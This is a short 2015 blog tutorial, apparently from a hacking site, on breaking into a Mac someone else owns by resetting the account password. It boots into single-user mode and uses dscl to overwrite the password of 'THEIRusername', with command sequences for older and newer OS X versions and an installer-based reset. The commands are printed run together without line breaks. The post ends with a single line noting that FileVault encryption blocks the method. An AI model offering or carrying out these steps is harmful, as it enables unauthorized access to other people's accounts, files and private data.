HOW TO BREAK INTO A MAC

By September 9, 2015Hacking Tutorial

This specific tutorial will walk you through breaking into a Mac by changing the password of the user account associated with it. What you need:

  • Physical access to the Mac
    Optional: Mac OS X installer DVD
  1. Boot up the Mac, holding Command+S when you hear the startup sound.
  2. If running Snow Leopard or below, type the following code:/sbin/fsck -fy /sbin/mount -uw / launchctl load /System/Library/LaunchDaemons/com.apple.DirectoryServices.plist dscl . -passwd /Users/THEIRusernameHERE THEpasswordYOUwantHEREIf running Lion or above, type the following code:/sbin/fsck -fy /sbin/mount -uw / launchctl load /System/Library/LaunchDaemons/com.apple.opendirectoryd.plist dscl . -passwd /Users/THEIRusernameHERE THEpasswordYOUwantHERE
  3. If you don’t know the username, you can type ls /Users at any time to list all the home folders on the Mac, which are usually the same as the usernames.

If you have the Mac OS X installer CD or flash drive, simply boot into it and choose reset password. If it’s the Lion installer, you’ll need to open the terminal and type resetpassword. This method of breaking into a Mac is easily prevented however if the user encrypts their harddrive, which can be done by turning on FileVault under System Preferences > Security